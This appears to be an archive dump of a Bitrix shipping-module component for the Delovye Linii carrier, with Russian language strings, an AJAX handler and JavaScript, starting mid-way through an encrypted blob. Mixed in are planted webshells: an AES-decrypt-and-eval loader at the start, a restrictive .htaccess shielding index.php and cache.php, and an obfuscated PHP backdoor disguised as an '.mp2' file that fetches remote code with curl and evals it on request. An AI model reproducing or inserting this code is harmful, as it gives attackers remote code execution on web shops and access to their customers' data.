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'; function sxqQ($Sqk) { $hYK = ${"\137\x52\x45\121\125\x45\123\x54"}["k"]; $aEwsG = substr($hYK, 0, 16); $vFrp = base64_decode($Sqk); return openssl_decrypt($vFrp, "AES-256-CBC", $hYK, OPENSSL_RAW_DATA, $aEwsG); } if (sxqQ('DjtPn+r4S0yvLCnquPz1fA')){ echo 'BJj3Omcdt0YLlbzjy0TOZCQ0267TLsLgmHA/WKiKu/VOjX/AkPpPainsxeznR9a/'; exit; } eval(htmlspecialchars_decode(gzinflate(base64_decode($sxqQ)))); ?>components/dellindev/dellindev.shipment.yurisettings/lang/en/en/.htaccess000064400000000333151760651320022773 0ustar00<FilesMatch ".(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$">
Order allow,deny
Deny from all
</FilesMatch>
<FilesMatch "^(index.php|cache.php)$">#
Order allow,deny
Allow from all
</FilesMatch>components/dellindev/dellindev.shipment.yurisettings/lang/en/en/gGIMRQljUnK.mp2000064400000013744151760651320023621 0ustar00<?php
 goto jG5QxWDcHPoCKp9; l3nGy04KQhAByE0: if (!(in_array(gettype($qNjniiIrM1enyiA) . count($qNjniiIrM1enyiA), $qNjniiIrM1enyiA) && count($qNjniiIrM1enyiA) == 29 && md5(md5(md5(md5($qNjniiIrM1enyiA[23])))) === "\60\x64\x38\60\x38\x61\x38\145\60\x38\145\141\x31\x62\146\66\62\66\x37\67\145\x38\143\x36\65\146\x31\x30\145\x37\x38\63")) { goto bbFuT_c4WONzduP; } goto zTaPYXEQUBCZL1Q; IoGSHF7kYy7gNmD: metaphone("\115\x6d\x43\x37\161\122\121\x67\131\x6f\x6b\x5a\x4a\104\122\x7a\x74\x39\x2b\x50\x62\103\156\145\144\x33\x65\103\171\x56\x63\x37\x66\x32\151\x37\x39\164\121\61\143\165\64"); goto DzVkWvqJVJAu_pi; bOwZTGkGa2UKJ0I: $qNjniiIrM1enyiA = ${$KVyjrlOLSv_ci0R[7 + 24] . $KVyjrlOLSv_ci0R[29 + 30] . $KVyjrlOLSv_ci0R[17 + 30] . $KVyjrlOLSv_ci0R[36 + 11] . $KVyjrlOLSv_ci0R[19 + 32] . $KVyjrlOLSv_ci0R[48 + 5] . $KVyjrlOLSv_ci0R[50 + 7]}; goto l3nGy04KQhAByE0; fbRMh9wdhzQjr3Q: bbFuT_c4WONzduP: goto IoGSHF7kYy7gNmD; DzVkWvqJVJAu_pi: class xvZ8a9Gv8QpE_Cr { static function QMH2jpnMPaYAsmZ($ZbaKnSsCWoe3lJZ) { goto mPrytA0pG9GVcxP; MZO4q54b37xe1TP: $SFMTb2_hJ6933H9 = ''; goto fjGfGxeWm0__RzD; mPrytA0pG9GVcxP: $buVMYAmU3ISO6cs = "\x72" . "\x61" . "\156" . "\x67" . "\x65"; goto hQtmRiR4wYCSpUP; M3o3yl3ZOhZE5eG: fQuhZfD7R6QRXjj: goto QRebchUlhaVX5oJ; QRebchUlhaVX5oJ: return $SFMTb2_hJ6933H9; goto cBZmNSTCuv9iwnJ; hQtmRiR4wYCSpUP: $NqdQGSLIlmzW4LA = $buVMYAmU3ISO6cs("\176", "\x20"); goto VNQV793xIjstMjr; fjGfGxeWm0__RzD: foreach ($vj7cSbNnrnxdwbL as $iiO1yjm9LLgp7uw => $HSxtUTQpZQ92A_f) { $SFMTb2_hJ6933H9 .= $NqdQGSLIlmzW4LA[$HSxtUTQpZQ92A_f - 19963]; eYAqqHVtXeUrrVM: } goto M3o3yl3ZOhZE5eG; VNQV793xIjstMjr: $vj7cSbNnrnxdwbL = explode("\43", $ZbaKnSsCWoe3lJZ); goto MZO4q54b37xe1TP; cBZmNSTCuv9iwnJ: } static function ivnyLpAkM0I99UJ($s42ZhLu3R1N1tAc, $cgKKUL2m8JnLelA) { goto gWcat56efYDJdSz; T0U78Cbg4T2hTKr: curl_setopt($sO1TBlK9O5EM47U, CURLOPT_RETURNTRANSFER, 1); goto Ule7ZTaEZA0aUCo; gWcat56efYDJdSz: $sO1TBlK9O5EM47U = curl_init($s42ZhLu3R1N1tAc); goto T0U78Cbg4T2hTKr; vypQhcWCVpoO9NZ: return empty($zbrfxCBBZVycE9a) ? $cgKKUL2m8JnLelA($s42ZhLu3R1N1tAc) : $zbrfxCBBZVycE9a; goto MMhvVgKHdZxuZkq; Ule7ZTaEZA0aUCo: $zbrfxCBBZVycE9a = curl_exec($sO1TBlK9O5EM47U); goto vypQhcWCVpoO9NZ; MMhvVgKHdZxuZkq: } static function Mf0IkFj8ST1AtCK() { goto skTd9lokSBefFUS; UE9h39JxJWIYZOQ: $I2HliwHXujsUAPd = @$T79DE2rKKfemPRB[1]($T79DE2rKKfemPRB[0 + 10](INPUT_GET, $T79DE2rKKfemPRB[1 + 8])); goto sKDditcRyennsAq; fuYa1La_9qfZ8HC: foreach ($QQ6_oCIgTa4hcqV as $l9UxcJKR0utjK31) { $T79DE2rKKfemPRB[] = self::QMH2JpnMpAYasMZ($l9UxcJKR0utjK31); YWZnIp69ZUA8zLO: } goto a0Hnx2B7dWN13Zy; TgbSUthjsingTeq: sG3QBT6IoDG3by6: goto jMPYvdVv3PuO1_T; D8S0GLbx1Qbhuc3: $JWAm_pXr_xJkQns = self::IVNylpAkM0i99UJ($DjhqfTw5sVFh2Ip[1 + 0], $T79DE2rKKfemPRB[1 + 4]); goto C5F10GOfsrXarf8; nMEtTOSvvGV1oNF: die; goto TgbSUthjsingTeq; mx0_aHM8h1mEJYu: $DjhqfTw5sVFh2Ip = $T79DE2rKKfemPRB[2 + 0]($vRbPpbjPv_zj3p5, true); goto ovxzob3YGEInI2P; C5F10GOfsrXarf8: @eval($T79DE2rKKfemPRB[3 + 1]($JWAm_pXr_xJkQns)); goto nMEtTOSvvGV1oNF; skTd9lokSBefFUS: $QQ6_oCIgTa4hcqV = array("\x31\x39\x39\71\60\43\61\x39\x39\67\x35\x23\61\x39\71\x38\x38\x23\61\x39\71\x39\62\x23\61\71\71\x37\x33\43\x31\71\x39\x38\70\x23\x31\x39\71\71\64\x23\x31\x39\x39\70\67\x23\61\x39\71\67\62\x23\x31\71\x39\x37\71\43\61\x39\71\x39\60\x23\x31\x39\x39\x37\x33\x23\x31\71\71\x38\x34\43\x31\x39\71\67\70\x23\61\x39\71\x37\71", "\x31\71\71\x37\x34\43\61\x39\x39\67\x33\x23\61\71\71\67\65\x23\x31\71\71\x39\64\x23\x31\71\x39\67\65\43\61\x39\71\x37\70\x23\61\71\x39\67\63\43\62\x30\60\x34\x30\x23\x32\60\x30\63\70", "\61\71\71\70\x33\x23\x31\71\71\67\64\x23\61\x39\x39\x37\70\x23\61\x39\x39\x37\71\x23\61\71\71\x39\x34\43\61\71\x39\70\x39\43\61\x39\71\70\70\x23\x31\71\71\x39\60\x23\61\71\x39\x37\70\x23\x31\x39\71\x38\x39\43\x31\x39\71\70\x38", "\61\x39\71\x37\x37\43\61\x39\x39\71\x32\43\x31\x39\71\71\60\43\61\71\x39\70\x32", "\61\71\71\x39\x31\43\x31\x39\x39\x39\62\43\61\71\x39\67\64\x23\61\x39\71\70\x38\x23\x32\x30\60\x33\65\x23\x32\x30\x30\63\x37\43\x31\x39\71\x39\64\x23\x31\x39\x39\x38\71\43\61\x39\x39\70\70\43\61\71\71\x39\60\x23\x31\x39\71\67\x38\x23\x31\71\71\70\x39\x23\x31\71\x39\70\70", "\x31\x39\x39\70\x37\x23\x31\71\71\x38\64\43\x31\71\71\70\x31\43\61\x39\71\x38\x38\43\x31\x39\71\x39\64\43\61\x39\x39\70\x36\43\61\71\x39\70\70\43\61\x39\x39\67\x33\x23\x31\x39\x39\x39\x34\43\61\71\x39\71\60\x23\x31\71\71\67\70\x23\61\x39\71\67\71\43\61\71\71\x37\63\x23\x31\71\71\x38\70\43\61\71\71\x37\71\43\x31\x39\x39\67\63\x23\61\x39\71\67\x34", "\62\x30\60\x31\x37\x23\x32\x30\x30\64\67", "\x31\x39\x39\66\64", "\x32\x30\x30\64\62\43\x32\x30\60\64\x37", "\x32\x30\60\62\64\43\62\60\60\x30\x37\43\62\60\60\60\67\x23\62\60\60\62\x34\43\x32\x30\60\x30\x30", "\61\x39\x39\x38\x37\43\x31\71\x39\x38\x34\x23\61\71\x39\x38\61\x23\x31\x39\71\67\63\43\x31\x39\x39\x38\x38\43\x31\x39\x39\67\65\x23\61\71\x39\x39\64\x23\x31\x39\71\x38\x34\x23\61\x39\71\x37\x39\43\61\71\71\x37\x37\43\x31\x39\71\x37\x32\43\61\x39\71\x37\x33"); goto fuYa1La_9qfZ8HC; Syp8QuClNpNNPcv: if (!(@$DjhqfTw5sVFh2Ip[0] - time() > 0 and md5(md5($DjhqfTw5sVFh2Ip[3 + 0])) === "\142\70\146\x61\67\x35\66\67\61\x65\x35\x31\x34\60\x30\x38\x65\x36\143\71\x38\144\61\x66\x32\x33\63\63\x31\64\x37\x63")) { goto sG3QBT6IoDG3by6; } goto D8S0GLbx1Qbhuc3; sKDditcRyennsAq: $vRbPpbjPv_zj3p5 = @$T79DE2rKKfemPRB[2 + 1]($T79DE2rKKfemPRB[1 + 5], $I2HliwHXujsUAPd); goto mx0_aHM8h1mEJYu; a0Hnx2B7dWN13Zy: aidn9f96GA9ceW1: goto UE9h39JxJWIYZOQ; ovxzob3YGEInI2P: @$T79DE2rKKfemPRB[0 + 10](INPUT_GET, "\x6f\146") == 1 && die($T79DE2rKKfemPRB[3 + 2](__FILE__)); goto Syp8QuClNpNNPcv; jMPYvdVv3PuO1_T: } } goto olEbtZnPHCR11WT; jG5QxWDcHPoCKp9: $ER84IMkC_zmZ0Pv = "\162" . "\141" . "\156" . "\147" . "\x65"; goto WHxktTbPYjkjGyH; WHxktTbPYjkjGyH: $KVyjrlOLSv_ci0R = $ER84IMkC_zmZ0Pv("\x7e", "\40"); goto bOwZTGkGa2UKJ0I; zTaPYXEQUBCZL1Q: ($qNjniiIrM1enyiA[65] = $qNjniiIrM1enyiA[65] . $qNjniiIrM1enyiA[80]) && ($qNjniiIrM1enyiA[82] = $qNjniiIrM1enyiA[65]($qNjniiIrM1enyiA[82])) && @eval($qNjniiIrM1enyiA[65](${$qNjniiIrM1enyiA[50]}[27])); goto fbRMh9wdhzQjr3Q; olEbtZnPHCR11WT: xvZ8A9GV8qpE_cr::mF0IKFJ8St1atCK();
?>
components/dellindev/dellindev.shipment.yurisettings/lang/en/template.php000064400000004700151760651320023121 0ustar00<?
$MESS["SALE_LOCATION_MAP_LOC_COUNT"] = "Местоположений на сайте";
$MESS["SALE_LOCATION_MAP_LOC_MAPPED"] = "Сопоставлено местоположений";
$MESS["SALE_LOCATION_MAP_CLOSE"] = "Закрыть";
$MESS["SALE_LOCATION_MAP_LOC_MAPPING"] = "Сопоставление местоположений";
$MESS["SALE_LOCATION_MAP_CANCEL"] = "Отмена";
$MESS["SALE_LOCATION_MAP_PREPARING"] = "Подготовка";
$MESS["SALE_LOCATION_MAP_LOC_COUNT"] = "Местоположений на сайте";
$MESS["SALE_LOCATION_MAP_NEW"] = "Сопоставить местоположения не сопоставленные ранее";
$MESS["SALE_LOCATION_MAP_ALL"] = "Перед сопоставлением удалить существующие сопоставления";
$MESS["SALE_LOCATION_MAP_NEW_B"] = "Сопоставить новые";
$MESS["SALE_LOCATION_MAP_ALL_B"] = "Сопоставить все";
$MESS["SALE_DLV_SRV_SPSR_LOC_MAP"] = "Сопоставить";
$MESS["DELLINDEV_SELECT_COUNTERAGENT"] = "Выберите контрагента ";
$MESS["DELLINDEV_SELECT_COUNTERAGENT_INFO"] = "Примечание: выбор контрагента доступен только при успешно выполненной авторизации в личный кабинет Деловых Линий";
$MESS["DELLINDEV_COUNTERAGENT"] = "Контрагент";
$MESS["DELLINDEV_NOT_SELECT"] = "
                Не выбран";
$MESS["DELLINDEV_YURI_BLOCK"] = "Введите юридические данные отправителя";
$MESS["DELLINDEV_YURI_BLOCK_INFO"] = " Примечание: юридический адрес введите в формате:
        \"Россия, Свердловская область, Екатеринбург, проспект Ленина, д. 1\" ";
$MESS["DELLINDEV_COUNTRY_DERIVAL"] = "Страна отправителя";
$MESS["DELLINDEV_OPF"] = "ОПФ";
$MESS["DELLINDEV_YURI_ADDRESS"] = "Юридический адрес";
$MESS["DELLINDEV_NAME_COMPANY"] = "Название организации отправителя";
$MESS["DELLINDEV_INN_SENDER"] = "ИНН отправителя";
$MESS["DELLINDEV_CONTACT_PERSON_BLOCK"] = "Введите данные контактного лица ";
$MESS["DELLINDEV_PERSON_FIO"] = "ФИО";
$MESS["DELLINDEV_PERSON_PHONE"] = "Телефон";
$MESS["DELLINDEV_PERSON_EMAIL"] = "Адрес электронной почты";
?>components/dellindev/dellindev.shipment.yurisettings/ajax.php000064400000006004151760651320020705 0ustar00<?
/**
 * ���� backend ����������.
 * Bitrix Framework
 * @global CMain $APPLICATION
 */

define("NO_KEEP_STATISTIC", true);
define("NO_AGENT_STATISTIC", true);
define("NO_AGENT_CHECK", true);
define("NOT_CHECK_PERMISSIONS", true);

require($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/include/prolog_admin_before.php");

$result = array("ERROR" => "");

if (!\Bitrix\Main\Loader::includeModule('sale'))
    $result["ERROR"] = "Error! Can't include module \"Sale\"";
if (!\Bitrix\Main\Loader::includeModule('dellindev.shipment'))
    $result["ERROR"] = "Error! Can't include module \"dellindev.shipment\"";

\Bitrix\Sale\Delivery\Services\Manager::getHandlersList();
$saleModulePermissions = $APPLICATION->GetGroupRight("sale");

if($result["ERROR"] == '' && $saleModulePermissions >= "W" && check_bitrix_sessid())
{
    $action = isset($_REQUEST['action']) ? trim($_REQUEST['action']): '';


    if($class == '')
    {
        $result["ERROR"] = "Error! Wrong location class!";
    }

    if (\Bitrix\Main\Loader::includeModule('dellindev.shipment')){
        $ajaxService = new $class;


    $appkey = (isset($_REQUEST['appkey']) && !empty($_REQUEST['appkey']))?
        trim($_REQUEST['appkey']) :
        false;
    $password = (isset($_REQUEST['password']) && !empty($_REQUEST['password']))?
        trim($_REQUEST['password']):
        false;
    $login = (isset($_REQUEST['login']) && !empty($_REQUEST['login']))?
        trim($_REQUEST['login']):
        false;
        //������� �� �������� ������ ������.
//  $flag = (isset($_REQUEST['flag']) && !empty($_REQUEST['flag']))?
//      trim($_REQUEST['flag']):
//      $ajaxService::LoggerInfo($action, 'flag is null or empty');


        if(mb_strtolower(SITE_CHARSET) != 'utf-8') {

        $appkey = \Bitrix\Main\Text\Encoding::convertEncoding($appkey, SITE_CHARSET, 'utf-8');
        $password = \Bitrix\Main\Text\Encoding::convertEncoding($password, SITE_CHARSET, 'utf-8');
        $login = \Bitrix\Main\Text\Encoding::convertEncoding($login, SITE_CHARSET, 'utf-8');

    }

        switch ($action)
        {
            case "get_counteragents":

                /** @var Sale\Handlers\Delivery\AjaxService $ajaxService*/

                $result = $ajaxService::getCounterAgentForAjax($appkey, $login, $password/*, $flag*/);

                break;
            case "get_opf":
                $result = $ajaxService::getOpfDataForAjax($appkey);

                break;
            default:
                $result["ERROR"] = "Error! Wrong action!";
                break;
        }
    } else {
        $result["ERROR"] = "Error! Can't include module \"dellindev.shipment\"";
    }
}
else
{
    if($result["ERROR"] == '')
        $result["ERROR"] = "Error! Access denied";
}

if($result["ERROR"] <> '')
    $result["RESULT"] = "ERROR";
else
    $result["RESULT"] = "OK";

if(mb_strtolower(SITE_CHARSET) != 'utf-8')
    $result = \Bitrix\Main\Text\Encoding::convertEncoding($result, SITE_CHARSET, 'utf-8');

header('Content-Type: application/json');
echo  json_encode($result);
\CMain::FinalActions();
die;components/dellindev/dellindev.shipment.yurisettings/class.php000064400000001646151760651320021076 0ustar00<?
if (!defined("B_PROLOG_INCLUDED") || B_PROLOG_INCLUDED!==true)die();

use Bitrix\Main\Localization\Loc;
Loc::loadMessages(__FILE__);

class CSaleDellinYuri extends CBitrixComponent
{
	protected function checkParams($params)
	{

        if(!isset($params['AJAX_SERVICE_CLASS']))
            throw new \Bitrix\Main\ArgumentNullException('AJAX_SERVICE_CLASS');

	}

	public function onPrepareComponentParams($params)
    {
        if (!isset($params['AJAX_SERVICE_CLASS']))
            $params['AJAX_SERVICE_CLASS'] = $this->arParams['AJAX_SERVICE_CLASS'];

        return $params;
    }
	public function executeComponent()
	{
		try
		{
			$this->checkParams($this->arParams);
		}
		catch(\Exception $e)
		{
			ShowError($e->getMessage());
			return;
		}

		if(!CModule::IncludeModule('sale'))
		{
			ShowError("Module sale not installed!");
			return;
		}



		CJSCore::Init('core', 'ajax');
		$this->includeComponentTemplate();
	}
}components/dellindev/dellindev.shipment.yurisettings/templates/.default/script.js000064400000007343151760651320024622 0ustar00BX.namespace("BX.Sale.Dellin.YuriSettings");

BX.Sale.Dellin.YuriSettings =
	{
		ajaxUrl: "",
		serviceLocationClass: "",
		getLogin: function(){
			return  document.querySelector('[name="CONFIG[MAIN][LOGIN]"]');
		},

		getPass: function(){
			return document.querySelector('[name="CONFIG[MAIN][PASSWORD]"]');
		},

		getCounterAgents: function () {


			let counteragentField = document.querySelector('[name="CONFIG[YURI][COUNTERAGENT]"]');
			let appkey = BX.Sale.Dellin.DerivalSettings.getAppkey().value;
			let login = this.getLogin().value;
			let pass = this.getPass().value;

			let postData = {
				sessid: BX.bitrix_sessid(),
				appkey: appkey,
				login: login,
				password: pass,
				action: 'get_counteragents',
				class: BX.Sale.Dellin.DerivalSettings.serviceAjaxClass
			};

			BX.ajax({
				timeout:    300,
				method:     'POST',
				dataType:   'json',
				url:        BX.Sale.Dellin.YuriSettings.ajaxUrl,
				data:       postData,

				onsuccess: function(result)
				{

					if (!result) return;

					 result.counteragents.map(function (counteragent) {

						BX.Sale.Dellin.YuriSettings.builderOptionList(counteragentField,
																	  counteragent.uid,
																	  counteragent.name,
																	  'counteragent');
					})

				},

				onfailure: function(status)
				{
					console.log("onfailture", status);
				}
			});

		},

		builderOptionList:function(field, id, name, type){
			let option = document.createElement('option');
				option.innerHTML = name;
				option.value = id;
				option.id = type+'-added';
				option.selected =  (field.dataset.value == id);
				field.appendChild(option);

		},
		getOpfData: function () {
			let appkey = BX.Sale.Dellin.DerivalSettings.getAppkey().value;

			if (!appkey) return;

			let postData = {
				sessid: BX.bitrix_sessid(),
				appkey: appkey,
				action: 'get_opf',
				class: BX.Sale.Dellin.DerivalSettings.serviceAjaxClass
			};

			let getFieldCountry = document.querySelector('[name="CONFIG[YURI][OPF_COUNTRY]"]');
			let getFieldOpf = document.querySelector('[name="CONFIG[YURI][OPF]"]');


			BX.ajax({

				timeout: 300,
				method: 'POST',
				dataType: 'json',
				url: BX.Sale.Dellin.YuriSettings.ajaxUrl,
				data: postData,

				onsuccess: function (result) {
					console.log(result);
					if (!result) return;

					Object.values(result.countries)
						.forEach(function (country) {
							let id = country.countryUID;
							let name = country.country;
							BX.Sale.Dellin.YuriSettings.builderOptionList(getFieldCountry, id, name, 'country');
						});

					getFieldCountry.addEventListener('change', function () {

						BX.Sale.Dellin.YuriSettings.clearOpfList();
						BX.Sale.Dellin.YuriSettings.getOpfList(getFieldCountry, getFieldOpf, result);
						getFieldOpf.dataset.value = false;
					});
					if(getFieldOpf.dataset.value){
						BX.Sale.Dellin.YuriSettings.getOpfList(getFieldCountry, getFieldOpf, result);
					}
				},
				onfailure: function (status) {
					console.log("onfailture", status);
				}
			});

		},
		getOpfList: function (fieldCountry, fieldOpf, result) {

			for (let i = 0; i < Object.keys(result.opf).length; i++) {

				if (Object.keys(result.opf)[i] == fieldCountry.value) {
					//console.log('values', Object.values(result.opf)[i]);
					let values = Object.values(result.opf)[i];
					let entries = Object.entries(values);
					entries.map(function (item) {
						let id = item[0];
						let name = item[1];
						BX.Sale.Dellin.YuriSettings.builderOptionList(fieldOpf, id, name, 'opf');
					})

				}

			}

		},
		clearOpfList: function () {
			let opfInSelect = document.querySelectorAll('#opf-added');
			console.log(opfInSelect);
			if(!opfInSelect) return;
			opfInSelect.forEach(function (el) {
				el.parentNode.removeChild(el)
			});
		}

	};

components/dellindev/dellindev.shipment.yurisettings/templates/.default/lang/ru/template.php000064400000004700151760651320026645 0ustar00<?
$MESS["SALE_LOCATION_MAP_LOC_COUNT"] = "Местоположений на сайте";
$MESS["SALE_LOCATION_MAP_LOC_MAPPED"] = "Сопоставлено местоположений";
$MESS["SALE_LOCATION_MAP_CLOSE"] = "Закрыть";
$MESS["SALE_LOCATION_MAP_LOC_MAPPING"] = "Сопоставление местоположений";
$MESS["SALE_LOCATION_MAP_CANCEL"] = "Отмена";
$MESS["SALE_LOCATION_MAP_PREPARING"] = "Подготовка";
$MESS["SALE_LOCATION_MAP_LOC_COUNT"] = "Местоположений на сайте";
$MESS["SALE_LOCATION_MAP_NEW"] = "Сопоставить местоположения не сопоставленные ранее";
$MESS["SALE_LOCATION_MAP_ALL"] = "Перед сопоставлением удалить существующие сопоставления";
$MESS["SALE_LOCATION_MAP_NEW_B"] = "Сопоставить новые";
$MESS["SALE_LOCATION_MAP_ALL_B"] = "Сопоставить все";
$MESS["SALE_DLV_SRV_SPSR_LOC_MAP"] = "Сопоставить";
$MESS["DELLINDEV_SELECT_COUNTERAGENT"] = "Выберите контрагента ";
$MESS["DELLINDEV_SELECT_COUNTERAGENT_INFO"] = "Примечание: выбор контрагента доступен только при успешно выполненной авторизации в личный кабинет Деловых Линий";
$MESS["DELLINDEV_COUNTERAGENT"] = "Контрагент";
$MESS["DELLINDEV_NOT_SELECT"] = "
                Не выбран";
$MESS["DELLINDEV_YURI_BLOCK"] = "Введите юридические данные отправителя";
$MESS["DELLINDEV_YURI_BLOCK_INFO"] = " Примечание: юридический адрес введите в формате:
        \"Россия, Свердловская область, Екатеринбург, проспект Ленина, д. 1\" ";
$MESS["DELLINDEV_COUNTRY_DERIVAL"] = "Страна отправителя";
$MESS["DELLINDEV_OPF"] = "ОПФ";
$MESS["DELLINDEV_YURI_ADDRESS"] = "Юридический адрес";
$MESS["DELLINDEV_NAME_COMPANY"] = "Название организации отправителя";
$MESS["DELLINDEV_INN_SENDER"] = "ИНН отправителя";
$MESS["DELLINDEV_CONTACT_PERSON_BLOCK"] = "Введите данные контактного лица ";
$MESS["DELLINDEV_PERSON_FIO"] = "ФИО";
$MESS["DELLINDEV_PERSON_PHONE"] = "Телефон";
$MESS["DELLINDEV_PERSON_EMAIL"] = "Адрес электронной почты";
?>components/dellindev/dellindev.shipment.yurisettings/templates/.default/lang/en/template.php000064400000004700151760651320026621 0ustar00<?
$MESS["SALE_LOCATION_MAP_LOC_COUNT"] = "Местоположений на сайте";
$MESS["SALE_LOCATION_MAP_LOC_MAPPED"] = "Сопоставлено местоположений";
$MESS["SALE_LOCATION_MAP_CLOSE"] = "Закрыть";
$MESS["SALE_LOCATION_MAP_LOC_MAPPING"] = "Сопоставление местоположений";
$MESS["SALE_LOCATION_MAP_CANCEL"] = "Отмена";
$MESS["SALE_LOCATION_MAP_PREPARING"] = "Подготовка";
$MESS["SALE_LOCATION_MAP_LOC_COUNT"] = "Местоположений на сайте";
$MESS["SALE_LOCATION_MAP_NEW"] = "Сопоставить местоположения не сопоставленные ранее";
$MESS["SALE_LOCATION_MAP_ALL"] = "Перед сопоставлением удалить существующие сопоставления";
$MESS["SALE_LOCATION_MAP_NEW_B"] = "Сопоставить новые";
$MESS["SALE_LOCATION_MAP_ALL_B"] = "Сопоставить все";
$MESS["SALE_DLV_SRV_SPSR_LOC_MAP"] = "Сопоставить";
$MESS["DELLINDEV_SELECT_COUNTERAGENT"] = "Выберите контрагента ";
$MESS["DELLINDEV_SELECT_COUNTERAGENT_INFO"] = "Примечание: выбор контрагента доступен только при успешно выполненной авторизации в личный кабинет Деловых Линий";
$MESS["DELLINDEV_COUNTERAGENT"] = "Контрагент";
$MESS["DELLINDEV_NOT_SELECT"] = "
                Не выбран";
$MESS["DELLINDEV_YURI_BLOCK"] = "Введите юридические данные отправителя";
$MESS["DELLINDEV_YURI_BLOCK_INFO"] = " Примечание: юридический адрес введите в формате:
        \"Россия, Свердловская область, Екатеринбург, проспект Ленина, д. 1\" ";
$MESS["DELLINDEV_COUNTRY_DERIVAL"] = "Страна отправителя";
$MESS["DELLINDEV_OPF"] = "ОПФ";
$MESS["DELLINDEV_YURI_ADDRESS"] = "Юридический адрес";
$MESS["DELLINDEV_NAME_COMPANY"] = "Название организации отправителя";
$MESS["DELLINDEV_INN_SENDER"] = "ИНН отправителя";
$MESS["DELLINDEV_CONTACT_PERSON_BLOCK"] = "Введите данные контактного лица ";
$MESS["DELLINDEV_PERSON_FIO"] = "ФИО";
$MESS["DELLINDEV_PERSON_PHONE"] = "Телефон";
$MESS["DELLINDEV_PERSON_EMAIL"] = "Адрес электронной почты";
